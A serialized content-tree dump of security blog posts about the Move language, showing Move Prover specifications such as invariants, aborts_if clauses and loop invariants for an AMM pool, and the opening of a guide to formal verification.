verify",{"type":25,"tag":216,"props":12114,"children":12115},{"style":6947},[12116],{"type":31,"value":266},{"type":25,"tag":216,"props":12118,"children":12119},{"style":6930},[12120],{"type":31,"value":12121},"false",{"type":25,"tag":216,"props":12123,"children":12124},{"style":6958},[12125],{"type":31,"value":6961},{"type":25,"tag":216,"props":12127,"children":12128},{"class":6916,"line":7251},[12129,12134,12139,12144,12149],{"type":25,"tag":216,"props":12130,"children":12131},{"style":6941},[12132],{"type":31,"value":12133},"      ensures",{"type":25,"tag":216,"props":12135,"children":12136},{"style":6941},[12137],{"type":31,"value":12138}," result_1",{"type":25,"tag":216,"props":12140,"children":12141},{"style":6947},[12142],{"type":31,"value":12143}," \u003C=",{"type":25,"tag":216,"props":12145,"children":12146},{"style":6941},[12147],{"type":31,"value":12148}," coin1_in",{"type":25,"tag":216,"props":12150,"children":12151},{"style":6958},[12152],{"type":31,"value":6961},{"type":25,"tag":216,"props":12154,"children":12155},{"class":6916,"line":7269},[12156,12160,12165,12169,12174],{"type":25,"tag":216,"props":12157,"children":12158},{"style":6941},[12159],{"type":31,"value":12133},{"type":25,"tag":216,"props":12161,"children":12162},{"style":6941},[12163],{"type":31,"value":12164}," result_2",{"type":25,"tag":216,"props":12166,"children":12167},{"style":6947},[12168],{"type":31,"value":12143},{"type":25,"tag":216,"props":12170,"children":12171},{"style":6941},[12172],{"type":31,"value":12173}," coin2_in",{"type":25,"tag":216,"props":12175,"children":12176},{"style":6958},[12177],{"type":31,"value":6961},{"type":25,"tag":216,"props":12179,"children":12180},{"class":6916,"line":7290},[12181],{"type":25,"tag":216,"props":12182,"children":12183},{"style":6958},[12184],{"type":31,"value":9817},{"type":25,"tag":38,"props":12186,"children":12187},{},[12188],{"type":31,"value":12189},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":25,"tag":38,"props":12191,"children":12192},{},[12193,12195,12200],{"type":31,"value":12194},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":25,"tag":64,"props":12196,"children":12197},{},[12198],{"type":31,"value":12199},"lot",{"type":31,"value":12201}," easier to reason about the protocol.",{"type":25,"tag":38,"props":12203,"children":12204},{},[12205],{"type":31,"value":12206},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":25,"tag":206,"props":12208,"children":12210},{"className":6909,"code":12209,"language":6908,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[12211],{"type":25,"tag":82,"props":12212,"children":12213},{"__ignoreMap":7},[12214,12231,12254],{"type":25,"tag":216,"props":12215,"children":12216},{"class":6916,"line":6917},[12217,12222,12227],{"type":25,"tag":216,"props":12218,"children":12219},{"style":6941},[12220],{"type":31,"value":12221},"spec",{"type":25,"tag":216,"props":12223,"children":12224},{"style":7369},[12225],{"type":31,"value":12226}," PoolState",{"type":25,"tag":216,"props":12228,"children":12229},{"style":6958},[12230],{"type":31,"value":7235},{"type":25,"tag":216,"props":12232,"children":12233},{"class":6916,"line":6763},[12234,12239,12244,12249],{"type":25,"tag":216,"props":12235,"children":12236},{"style":6941},[12237],{"type":31,"value":12238},"    invariant",{"type":25,"tag":216,"props":12240,"children":12241},{"style":6941},[12242],{"type":31,"value":12243}," supply",{"type":25,"tag":216,"props":12245,"children":12246},{"style":6947},[12247],{"type":31,"value":12248}," >=",{"type":25,"tag":216,"props":12250,"children":12251},{"style":6958},[12252],{"type":31,"value":12253}," MINIMUM_LIQUIDITY;\n",{"type":25,"tag":216,"props":12255,"children":12256},{"class":6916,"line":6772},[12257],{"type":25,"tag":216,"props":12258,"children":12259},{"style":6958},[12260],{"type":31,"value":7868},{"type":25,"tag":38,"props":12262,"children":12263},{},[12264,12266,12272,12274,12280],{"type":31,"value":12265},"Another useful pattern for the Move prover is ",{"type":25,"tag":82,"props":12267,"children":12269},{"className":12268},[],[12270],{"type":31,"value":12271},"aborts_if",{"type":31,"value":12273},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":25,"tag":82,"props":12275,"children":12277},{"className":12276},[],[12278],{"type":31,"value":12279},"aborts_if false",{"type":31,"value":179},{"type":25,"tag":38,"props":12282,"children":12283},{},[12284],{"type":31,"value":12285},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":25,"tag":206,"props":12287,"children":12289},{"className":6909,"code":12288,"language":6908,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[12290],{"type":25,"tag":82,"props":12291,"children":12292},{"__ignoreMap":7},[12293,12357,12399,12422,12467,12480,12492,12531,12554,12642,12650,12675,12683,12704,12724,12824,12832,12861,12869,12881,12905,12940,12947,12955,12962,12977,12993,13011,13056,13162],{"type":25,"tag":216,"props":12294,"children":12295},{"class":6916,"line":6917},[12296,12300,12305,12309,12314,12318,12323,12327,12331,12336,12340,12344,12348,12353],{"type":25,"tag":216,"props":12297,"children":12298},{"style":6941},[12299],{"type":31,"value":10515},{"type":25,"tag":216,"props":12301,"children":12302},{"style":7041},[12303],{"type":31,"value":12304}," multiply_vec_by_n_coins",{"type":25,"tag":216,"props":12306,"children":12307},{"style":6958},[12308],{"type":31,"value":1844},{"type":25,"tag":216,"props":12310,"children":12311},{"style":6941},[12312],{"type":31,"value":12313},"input",{"type":25,"tag":216,"props":12315,"children":12316},{"style":6947},[12317],{"type":31,"value":1466},{"type":25,"tag":216,"props":12319,"children":12320},{"style":6941},[12321],{"type":31,"value":12322}," vector",{"type":25,"tag":216,"props":12324,"children":12325},{"style":6958},[12326],{"type":31,"value":9751},{"type":25,"tag":216,"props":12328,"children":12329},{"style":7369},[12330],{"type":31,"value":11988},{"type":25,"tag":216,"props":12332,"children":12333},{"style":6958},[12334],{"type":31,"value":12335},">)",{"type":25,"tag":216,"props":12337,"children":12338},{"style":6947},[12339],{"type":31,"value":1466},{"type":25,"tag":216,"props":12341,"children":12342},{"style":6941},[12343],{"type":31,"value":12322},{"type":25,"tag":216,"props":12345,"children":12346},{"style":6958},[12347],{"type":31,"value":9751},{"type":25,"tag":216,"props":12349,"children":12350},{"style":7369},[12351],{"type":31,"value":12352},"u128",{"type":25,"tag":216,"props":12354,"children":12355},{"style":6958},[12356],{"type":31,"value":11227},{"type":25,"tag":216,"props":12358,"children":12359},{"class":6916,"line":6763},[12360,12364,12369,12373,12377,12381,12386,12390,12394],{"type":25,"tag":216,"props":12361,"children":12362},{"style":6930},[12363],{"type":31,"value":12021},{"type":25,"tag":216,"props":12365,"children":12366},{"style":6941},[12367],{"type":31,"value":12368}," amounts_times_coins",{"type":25,"tag":216,"props":12370,"children":12371},{"style":6947},[12372],{"type":31,"value":6950},{"type":25,"tag":216,"props":12374,"children":12375},{"style":6958},[12376],{"type":31,"value":12322},{"type":25,"tag":216,"props":12378,"children":12379},{"style":6947},[12380],{"type":31,"value":7432},{"type":25,"tag":216,"props":12382,"children":12383},{"style":6941},[12384],{"type":31,"value":12385},"empty",{"type":25,"tag":216,"props":12387,"children":12388},{"style":6958},[12389],{"type":31,"value":9751},{"type":25,"tag":216,"props":12391,"children":12392},{"style":7369},[12393],{"type":31,"value":12352},{"type":25,"tag":216,"props":12395,"children":12396},{"style":6958},[12397],{"type":31,"value":12398},">();\n",{"type":25,"tag":216,"props":12400,"children":12401},{"class":6916,"line":6772},[12402,12406,12410,12414,12418],{"type":25,"tag":216,"props":12403,"children":12404},{"style":6930},[12405],{"type":31,"value":12021},{"type":25,"tag":216,"props":12407,"children":12408},{"style":6941},[12409],{"type":31,"value":7348},{"type":25,"tag":216,"props":12411,"children":12412},{"style":6947},[12413],{"type":31,"value":6950},{"type":25,"tag":216,"props":12415,"children":12416},{"style":6983},[12417],{"type":31,"value":6986},{"type":25,"tag":216,"props":12419,"children":12420},{"style":6958},[12421],{"type":31,"value":6961},{"type":25,"tag":216,"props":12423,"children":12424},{"class":6916,"line":6999},[12425,12429,12434,12438,12442,12446,12451,12455,12459,12463],{"type":25,"tag":216,"props":12426,"children":12427},{"style":6930},[12428],{"type":31,"value":12021},{"type":25,"tag":216,"props":12430,"children":12431},{"style":6941},[12432],{"type":31,"value":12433}," n_coins",{"type":25,"tag":216,"props":12435,"children":12436},{"style":6947},[12437],{"type":31,"value":6950},{"type":25,"tag":216,"props":12439,"children":12440},{"style":6958},[12441],{"type":31,"value":12322},{"type":25,"tag":216,"props":12443,"children":12444},{"style":6947},[12445],{"type":31,"value":7432},{"type":25,"tag":216,"props":12447,"children":12448},{"style":7041},[12449],{"type":31,"value":12450},"length",{"type":25,"tag":216,"props":12452,"children":12453},{"style":6958},[12454],{"type":31,"value":1844},{"type":25,"tag":216,"props":12456,"children":12457},{"style":6947},[12458],{"type":31,"value":7053},{"type":25,"tag":216,"props":12460,"children":12461},{"style":6941},[12462],{"type":31,"value":12313},{"type":25,"tag":216,"props":12464,"children":12465},{"style":6958},[12466],{"type":31,"value":7791},{"type":25,"tag":216,"props":12468,"children":12469},{"class":6916,"line":7104},[12470,12475],{"type":25,"tag":216,"props":12471,"children":12472},{"style":6967},[12473],{"type":31,"value":12474},"      while",{"type":25,"tag":216,"props":12476,"children":12477},{"style":6958},[12478],{"type":31,"value":12479}," ({\n",{"type":25,"tag":216,"props":12481,"children":12482},{"class":6916,"line":7210},[12483,12488],{"type":25,"tag":216,"props":12484,"children":12485},{"style":6941},[12486],{"type":31,"value":12487},"          spec",{"type":25,"tag":216,"props":12489,"children":12490},{"style":6958},[12491],{"type":31,"value":7235},{"type":25,"tag":216,"props":12493,"children":12494},{"class":6916,"line":7238},[12495,12500,12505,12509,12514,12518,12523,12527],{"type":25,"tag":216,"props":12496,"children":12497},{"style":6941},[12498],{"type":31,"value":12499},"              invariant",{"type":25,"tag":216,"props":12501,"children":12502},{"style":7041},[12503],{"type":31,"value":12504}," len",{"type":25,"tag":216,"props":12506,"children":12507},{"style":6958},[12508],{"type":31,"value":1844},{"type":25,"tag":216,"props":12510,"children":12511},{"style":6941},[12512],{"type":31,"value":12513},"amounts_times_coins",{"type":25,"tag":216,"props":12515,"children":12516},{"style":6958},[12517],{"type":31,"value":7030},{"type":25,"tag":216,"props":12519,"children":12520},{"style":6947},[12521],{"type":31,"value":12522},"==",{"type":25,"tag":216,"props":12524,"children":12525},{"style":6941},[12526],{"type":31,"value":7348},{"type":25,"tag":216,"props":12528,"children":12529},{"style":6958},[12530],{"type":31,"value":6961},{"type":25,"tag":216,"props":12532,"children":12533},{"class":6916,"line":7251},[12534,12538,12542,12546,12550],{"type":25,"tag":216,"props":12535,"children":12536},{"style":6941},[12537],{"type":31,"value":12499},{"type":25,"tag":216,"props":12539,"children":12540},{"style":6941},[12541],{"type":31,"value":7348},{"type":25,"tag":216,"props":12543,"children":12544},{"style":6947},[12545],{"type":31,"value":12143},{"type":25,"tag":216,"props":12547,"children":12548},{"style":6941},[12549],{"type":31,"value":12433},{"type":25,"tag":216,"props":12551,"children":12552},{"style":6958},[12553],{"type":31,"value":6961},{"type":25,"tag":216,"props":12555,"children":12556},{"class":6916,"line":7269},[12557,12561,12566,12571,12575,12579,12583,12587,12591,12595,12599,12604,12609,12613,12618,12622,12626,12630,12634,12638],{"type":25,"tag":216,"props":12558,"children":12559},{"style":6941},[12560],{"type":31,"value":12499},{"type":25,"tag":216,"props":12562,"children":12563},{"style":6941},[12564],{"type":31,"value":12565}," forall",{"type":25,"tag":216,"props":12567,"children":12568},{"style":6941},[12569],{"type":31,"value":12570}," j",{"type":25,"tag":216,"props":12572,"children":12573},{"style":6930},[12574],{"type":31,"value":6980},{"type":25,"tag":216,"props":12576,"children":12577},{"style":6983},[12578],{"type":31,"value":6986},{"type":25,"tag":216,"props":12580,"children":12581},{"style":6947},[12582],{"type":31,"value":6991},{"type":25,"tag":216,"props":12584,"children":12585},{"style":6941},[12586],{"type":31,"value":2283},{"type":25,"tag":216,"props":12588,"children":12589},{"style":6947},[12590],{"type":31,"value":1466},{"type":25,"tag":216,"props":12592,"children":12593},{"style":6941},[12594],{"type":31,"value":12368},{"type":25,"tag":216,"props":12596,"children":12597},{"style":6958},[12598],{"type":31,"value":7695},{"type":25,"tag":216,"props":12600,"children":12601},{"style":6941},[12602],{"type":31,"value":12603},"j",{"type":25,"tag":216,"props":12605,"children":12606},{"style":6958},[12607],{"type":31,"value":12608},"] ",{"type":25,"tag":216,"props":12610,"children":12611},{"style":6947},[12612],{"type":31,"value":12522},{"type":25,"tag":216,"props":12614,"children":12615},{"style":6941},[12616],{"type":31,"value":12617}," input",{"type":25,"tag":216,"props":12619,"children":12620},{"style":6958},[12621],{"type":31,"value":7695},{"type":25,"tag":216,"props":12623,"children":12624},{"style":6941},[12625],{"type":31,"value":12603},{"type":25,"tag":216,"props":12627,"children":12628},{"style":6958},[12629],{"type":31,"value":12608},{"type":25,"tag":216,"props":12631,"children":12632},{"style":6947},[12633],{"type":31,"value":8513},{"type":25,"tag":216,"props":12635,"children":12636},{"style":6941},[12637],{"type":31,"value":12433},{"type":25,"tag":216,"props":12639,"children":12640},{"style":6958},[12641],{"type":31,"value":6961},{"type":25,"tag":216,"props":12643,"children":12644},{"class":6916,"line":7290},[12645],{"type":25,"tag":216,"props":12646,"children":12647},{"style":6958},[12648],{"type":31,"value":12649},"          };\n",{"type":25,"tag":216,"props":12651,"children":12652},{"class":6916,"line":7299},[12653,12658,12662,12667,12671],{"type":25,"tag":216,"props":12654,"children":12655},{"style":6958},[12656],{"type":31,"value":12657},"          (",{"type":25,"tag":216,"props":12659,"children":12660},{"style":6941},[12661],{"type":31,"value":2283},{"type":25,"tag":216,"props":12663,"children":12664},{"style":6947},[12665],{"type":31,"value":12666}," \u003C",{"type":25,"tag":216,"props":12668,"children":12669},{"style":6941},[12670],{"type":31,"value":12433},{"type":25,"tag":216,"props":12672,"children":12673},{"style":6958},[12674],{"type":31,"value":7101},{"type":25,"tag":216,"props":12676,"children":12677},{"class":6916,"line":7551},[12678],{"type":25,"tag":216,"props":12679,"children":12680},{"style":6958},[12681],{"type":31,"value":12682},"      }) {\n",{"type":25,"tag":216,"props":12684,"children":12685},{"class":6916,"line":7568},[12686,12691,12695,12700],{"type":25,"tag":216,"props":12687,"children":12688},{"style":6958},[12689],{"type":31,"value":12690},"          vector",{"type":25,"tag":216,"props":12692,"children":12693},{"style":6947},[12694],{"type":31,"value":7432},{"type":25,"tag":216,"props":12696,"children":12697},{"style":7041},[12698],{"type":31,"value":12699},"push_back",{"type":25,"tag":216,"props":12701,"children":12702},{"style":6958},[12703],{"type":31,"value":7414},{"type":25,"tag":216,"props":12705,"children":12706},{"class":6916,"line":7585},[12707,12712,12716,12720],{"type":25,"tag":216,"props":12708,"children":12709},{"style":6947},[12710],{"type":31,"value":12711},"              &",{"type":25,"tag":216,"props":12713,"children":12714},{"style":6930},[12715],{"type":31,"value":7685},{"type":25,"tag":216,"props":12717,"children":12718},{"style":6941},[12719],{"type":31,"value":12368},{"type":25,"tag":216,"props":12721,"children":12722},{"style":6958},[12723],{"type":31,"value":7459},{"type":25,"tag":216,"props":12725,"children":12726},{"class":6916,"line":7598},[12727,12732,12736,12741,12745,12750,12754,12758,12762,12767,12771,12776,12780,12785,12790,12795,12799,12803,12807,12812,12816,12820],{"type":25,"tag":216,"props":12728,"children":12729},{"style":6958},[12730],{"type":31,"value":12731},"              (",{"type":25,"tag":216,"props":12733,"children":12734},{"style":6947},[12735],{"type":31,"value":8513},{"type":25,"tag":216,"props":12737,"children":12738},{"style":6958},[12739],{"type":31,"value":12740},"vector",{"type":25,"tag":216,"props":12742,"children":12743},{"style":6947},[12744],{"type":31,"value":7432},{"type":25,"tag":216,"props":12746,"children":12747},{"style":7041},[12748],{"type":31,"value":12749},"borrow",{"type":25,"tag":216,"props":12751,"children":12752},{"style":6958},[12753],{"type":31,"value":1844},{"type":25,"tag":216,"props":12755,"children":12756},{"style":6947},[12757],{"type":31,"value":7053},{"type":25,"tag":216,"props":12759,"children":12760},{"style":6941},[12761],{"type":31,"value":12313},{"type":25,"tag":216,"props":12763,"children":12764},{"style":6958},[12765],{"type":31,"value":12766},", (",{"type":25,"tag":216,"props":12768,"children":12769},{"style":6941},[12770],{"type":31,"value":2283},{"type":25,"tag":216,"props":12772,"children":12773},{"style":6930},[12774],{"type":31,"value":12775}," as",{"type":25,"tag":216,"props":12777,"children":12778},{"style":7369},[12779],{"type":31,"value":9805},{"type":25,"tag":216,"props":12781,"children":12782},{"style":6958},[12783],{"type":31,"value":12784},")) ",{"type":25,"tag":216,"props":12786,"children":12787},{"style":6930},[12788],{"type":31,"value":12789},"as",{"type":25,"tag":216,"props":12791,"children":12792},{"style":7369},[12793],{"type":31,"value":12794}," u128",{"type":25,"tag":216,"props":12796,"children":12797},{"style":6958},[12798],{"type":31,"value":7030},{"type":25,"tag":216,"props":12800,"children":12801},{"style":6947},[12802],{"type":31,"value":8513},{"type":25,"tag":216,"props":12804,"children":12805},{"style":6958},[12806],{"type":31,"value":7010},{"type":25,"tag":216,"props":12808,"children":12809},{"style":6941},[12810],{"type":31,"value":12811},"n_coins",{"type":25,"tag":216,"props":12813,"children":12814},{"style":6930},[12815],{"type":31,"value":12775},{"type":25,"tag":216,"props":12817,"children":12818},{"style":7369},[12819],{"type":31,"value":12794},{"type":25,"tag":216,"props":12821,"children":12822},{"style":6958},[12823],{"type":31,"value":7101},{"type":25,"tag":216,"props":12825,"children":12826},{"class":6916,"line":7607},[12827],{"type":25,"tag":216,"props":12828,"children":12829},{"style":6958},[12830],{"type":31,"value":12831},"          );\n",{"type":25,"tag":216,"props":12833,"children":12834},{"class":6916,"line":7630},[12835,12840,12844,12848,12853,12857],{"type":25,"tag":216,"props":12836,"children":12837},{"style":6941},[12838],{"type":31,"value":12839},"          i",{"type":25,"tag":216,"props":12841,"children":12842},{"style":6947},[12843],{"type":31,"value":6950},{"type":25,"tag":216,"props":12845,"children":12846},{"style":6941},[12847],{"type":31,"value":7348},{"type":25,"tag":216,"props":12849,"children":12850},{"style":6947},[12851],{"type":31,"value":12852}," +",{"type":25,"tag":216,"props":12854,"children":12855},{"style":6983},[12856],{"type":31,"value":8465},{"type":25,"tag":216,"props":12858,"children":12859},{"style":6958},[12860],{"type":31,"value":6961},{"type":25,"tag":216,"props":12862,"children":12863},{"class":6916,"line":7639},[12864],{"type":25,"tag":216,"props":12865,"children":12866},{"style":6958},[12867],{"type":31,"value":12868},"      };\n",{"type":25,"tag":216,"props":12870,"children":12871},{"class":6916,"line":7648},[12872,12877],{"type":25,"tag":216,"props":12873,"children":12874},{"style":6941},[12875],{"type":31,"value":12876},"      spec",{"type":25,"tag":216,"props":12878,"children":12879},{"style":6958},[12880],{"type":31,"value":7235},{"type":25,"tag":216,"props":12882,"children":12883},{"class":6916,"line":7716},[12884,12889,12893,12897,12901],{"type":25,"tag":216,"props":12885,"children":12886},{"style":6941},[12887],{"type":31,"value":12888},"          assert",{"type":25,"tag":216,"props":12890,"children":12891},{"style":6941},[12892],{"type":31,"value":7348},{"type":25,"tag":216,"props":12894,"children":12895},{"style":6947},[12896],{"type":31,"value":7226},{"type":25,"tag":216,"props":12898,"children":12899},{"style":6941},[12900],{"type":31,"value":12433},{"type":25,"tag":216,"props":12902,"children":12903},{"style":6958},[12904],{"type":31,"value":6961},{"type":25,"tag":216,"props":12906,"children":12907},{"class":6916,"line":7724},[12908,12912,12916,12920,12924,12928,12932,12936],{"type":25,"tag":216,"props":12909,"children":12910},{"style":6941},[12911],{"type":31,"value":12888},{"type":25,"tag":216,"props":12913,"children":12914},{"style":7041},[12915],{"type":31,"value":12504},{"type":25,"tag":216,"props":12917,"children":12918},{"style":6958},[12919],{"type":31,"value":1844},{"type":25,"tag":216,"props":12921,"children":12922},{"style":6941},[12923],{"type":31,"value":12313},{"type":25,"tag":216,"props":12925,"children":12926},{"style":6958},[12927],{"type":31,"value":7030},{"type":25,"tag":216,"props":12929,"children":12930},{"style":6947},[12931],{"type":31,"value":12522},{"type":25,"tag":216,"props":12933,"children":12934},{"style":6941},[12935],{"type":31,"value":12433},{"type":25,"tag":216,"props":12937,"children":12938},{"style":6958},[12939],{"type":31,"value":6961},{"type":25,"tag":216,"props":12941,"children":12942},{"class":6916,"line":7754},[12943],{"type":25,"tag":216,"props":12944,"children":12945},{"style":6958},[12946],{"type":31,"value":12868},{"type":25,"tag":216,"props":12948,"children":12949},{"class":6916,"line":7762},[12950],{"type":25,"tag":216,"props":12951,"children":12952},{"style":6941},[12953],{"type":31,"value":12954},"      amounts_times_coins\n",{"type":25,"tag":216,"props":12956,"children":12957},{"class":6916,"line":7794},[12958],{"type":25,"tag":216,"props":12959,"children":12960},{"style":6958},[12961],{"type":31,"value":9817},{"type":25,"tag":216,"props":12963,"children":12964},{"class":6916,"line":7802},[12965,12969,12973],{"type":25,"tag":216,"props":12966,"children":12967},{"style":6941},[12968],{"type":31,"value":12091},{"type":25,"tag":216,"props":12970,"children":12971},{"style":6941},[12972],{"type":31,"value":12304},{"type":25,"tag":216,"props":12974,"children":12975},{"style":6958},[12976],{"type":31,"value":7235},{"type":25,"tag":216,"props":12978,"children":12979},{"class":6916,"line":7862},[12980,12984,12989],{"type":25,"tag":216,"props":12981,"children":12982},{"style":6941},[12983],{"type":31,"value":12107},{"type":25,"tag":216,"props":12985,"children":12986},{"style":6941},[12987],{"type":31,"value":12988}," opaque",{"type":25,"tag":216,"props":12990,"children":12991},{"style":6958},[12992],{"type":31,"value":6961},{"type":25,"tag":216,"props":12994,"children":12996},{"class":6916,"line":12995},27,[12997,13002,13007],{"type":25,"tag":216,"props":12998,"children":12999},{"style":6941},[13000],{"type":31,"value":13001},"      aborts_if",{"type":25,"tag":216,"props":13003,"children":13004},{"style":6930},[13005],{"type":31,"value":13006}," false",{"type":25,"tag":216,"props":13008,"children":13009},{"style":6958},[13010],{"type":31,"value":6961},{"type":25,"tag":216,"props":13012,"children":13014},{"class":6916,"line":13013},28,[13015,13019,13023,13027,13032,13036,13040,13044,13048,13052],{"type":25,"tag":216,"props":13016,"children":13017},{"style":6941},[13018],{"type":31,"value":12133},{"type":25,"tag":216,"props":13020,"children":13021},{"style":7041},[13022],{"type":31,"value":12504},{"type":25,"tag":216,"props":13024,"children":13025},{"style":6958},[13026],{"type":31,"value":1844},{"type":25,"tag":216,"props":13028,"children":13029},{"style":6941},[13030],{"type":31,"value":13031},"result",{"type":25,"tag":216,"props":13033,"children":13034},{"style":6958},[13035],{"type":31,"value":7030},{"type":25,"tag":216,"props":13037,"children":13038},{"style":6947},[13039],{"type":31,"value":12522},{"type":25,"tag":216,"props":13041,"children":13042},{"style":7041},[13043],{"type":31,"value":12504},{"type":25,"tag":216,"props":13045,"children":13046},{"style":6958},[13047],{"type":31,"value":1844},{"type":25,"tag":216,"props":13049,"children":13050},{"style":6941},[13051],{"type":31,"value":12313},{"type":25,"tag":216,"props":13053,"children":13054},{"style":6958},[13055],{"type":31,"value":7791},{"type":25,"tag":216,"props":13057,"children":13059},{"class":6916,"line":13058},29,[13060,13064,13068,13072,13076,13080,13084,13089,13093,13097,13101,13105,13110,13114,13118,13122,13126,13130,13134,13138,13142,13146,13150,13154,13158],{"type":25,"tag":216,"props":13061,"children":13062},{"style":6941},[13063],{"type":31,"value":12133},{"type":25,"tag":216,"props":13065,"children":13066},{"style":6941},[13067],{"type":31,"value":12565},{"type":25,"tag":216,"props":13069,"children":13070},{"style":6941},[13071],{"type":31,"value":12570},{"type":25,"tag":216,"props":13073,"children":13074},{"style":6930},[13075],{"type":31,"value":6980},{"type":25,"tag":216,"props":13077,"children":13078},{"style":6983},[13079],{"type":31,"value":6986},{"type":25,"tag":216,"props":13081,"children":13082},{"style":6947},[13083],{"type":31,"value":6991},{"type":25,"tag":216,"props":13085,"children":13086},{"style":7041},[13087],{"type":31,"value":13088},"len",{"type":25,"tag":216,"props":13090,"children":13091},{"style":6958},[13092],{"type":31,"value":1844},{"type":25,"tag":216,"props":13094,"children":13095},{"style":6941},[13096],{"type":31,"value":12313},{"type":25,"tag":216,"props":13098,"children":13099},{"style":6958},[13100],{"type":31,"value":1882},{"type":25,"tag":216,"props":13102,"children":13103},{"style":6947},[13104],{"type":31,"value":1466},{"type":25,"tag":216,"props":13106,"children":13107},{"style":6941},[13108],{"type":31,"value":13109}," result",{"type":25,"tag":216,"props":13111,"children":13112},{"style":6958},[13113],{"type":31,"value":7695},{"type":25,"tag":216,"props":13115,"children":13116},{"style":6941},[13117],{"type":31,"value":12603},{"type":25,"tag":216,"props":13119,"children":13120},{"style":6958},[13121],{"type":31,"value":12608},{"type":25,"tag":216,"props":13123,"children":13124},{"style":6947},[13125],{"type":31,"value":12522},{"type":25,"tag":216,"props":13127,"children":13128},{"style":6941},[13129],{"type":31,"value":12617},{"type":25,"tag":216,"props":13131,"children":13132},{"style":6958},[13133],{"type":31,"value":7695},{"type":25,"tag":216,"props":13135,"children":13136},{"style":6941},[13137],{"type":31,"value":12603},{"type":25,"tag":216,"props":13139,"children":13140},{"style":6958},[13141],{"type":31,"value":12608},{"type":25,"tag":216,"props":13143,"children":13144},{"style":6947},[13145],{"type":31,"value":8513},{"type":25,"tag":216,"props":13147,"children":13148},{"style":7041},[13149],{"type":31,"value":12504},{"type":25,"tag":216,"props":13151,"children":13152},{"style":6958},[13153],{"type":31,"value":1844},{"type":25,"tag":216,"props":13155,"children":13156},{"style":6941},[13157],{"type":31,"value":12313},{"type":25,"tag":216,"props":13159,"children":13160},{"style":6958},[13161],{"type":31,"value":7791},{"type":25,"tag":216,"props":13163,"children":13165},{"class":6916,"line":13164},30,[13166],{"type":25,"tag":216,"props":13167,"children":13168},{"style":6958},[13169],{"type":31,"value":9817},{"type":25,"tag":26,"props":13171,"children":13172},{"id":9252},[13173],{"type":31,"value":9255},{"type":25,"tag":38,"props":13175,"children":13176},{},[13177],{"type":31,"value":13178},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":25,"tag":38,"props":13180,"children":13181},{},[13182],{"type":31,"value":13183},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":25,"tag":38,"props":13185,"children":13186},{},[13187,13189,13196],{"type":31,"value":13188},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":25,"tag":162,"props":13190,"children":13193},{"href":13191,"rel":13192},"https://twitter.com/notdeghost/",[166],[13194],{"type":31,"value":13195},"@notdeghost",{"type":31,"value":179},{"type":25,"tag":9310,"props":13198,"children":13199},{},[13200],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":13202},[13203,13204,13205],{"id":9703,"depth":6763,"text":9706},{"id":11742,"depth":6763,"text":11745},{"id":9252,"depth":6763,"text":9255},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":13210,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13211,"description":13212,"author":9664,"image":13213,"date":13216,"isFeatured":16,"tags":13217,"onBlogPage":16,"body":13220,"_type":6792,"_id":17563,"_source":6794,"_file":17564,"_stem":17565,"_extension":6797},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":13214,"height":13215,"width":9668},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[13218,13219],"move","tutorial",{"type":22,"children":13221,"toc":17549},[13222,13241,13253,13259,13264,13269,13274,13283,13288,13302,13307,13313,13318,13332,13337,13474,13487,13492,13513,13547,13558,13563,13568,13578,13591,13934,13948,13966,14011,14024,14043,14215,14220,14225,14250,14255,14855,14867,14879,14884,14898,14903,14916,14956,14961,14993,14998,15003,15016,15401,15428,15635,15640,15652,15889,15894,15902,15921,16269,16274,16431,16436,16443,16457,16463,16468,16473,16479,16492,16724,16730,16735,16755,17024,17029,17035,17047,17052,17066,17072,17108,17208,17229,17235,17240,17245,17497,17502,17520,17524,17529,17534,17545],{"type":25,"tag":38,"props":13223,"children":13224},{},[13225,13227,13232,13234,13239],{"type":31,"value":13226},"Formal verification -- a powerful tool for ",{"type":25,"tag":64,"props":13228,"children":13229},{},[13230],{"type":31,"value":13231},"proving",{"type":31,"value":13233}," the correctness of your programs. How does it ",{"type":25,"tag":64,"props":13235,"children":13236},{},[13237],{"type":31,"value":13238},"actually",{"type":31,"value":13240}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":25,"tag":38,"props":13242,"children":13243},{},[13244,13246,13251],{"type":31,"value":13245},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":25,"tag":64,"props":13247,"children":13248},{},[13249],{"type":31,"value":13250},"all",{"type":31,"value":13252}," possible 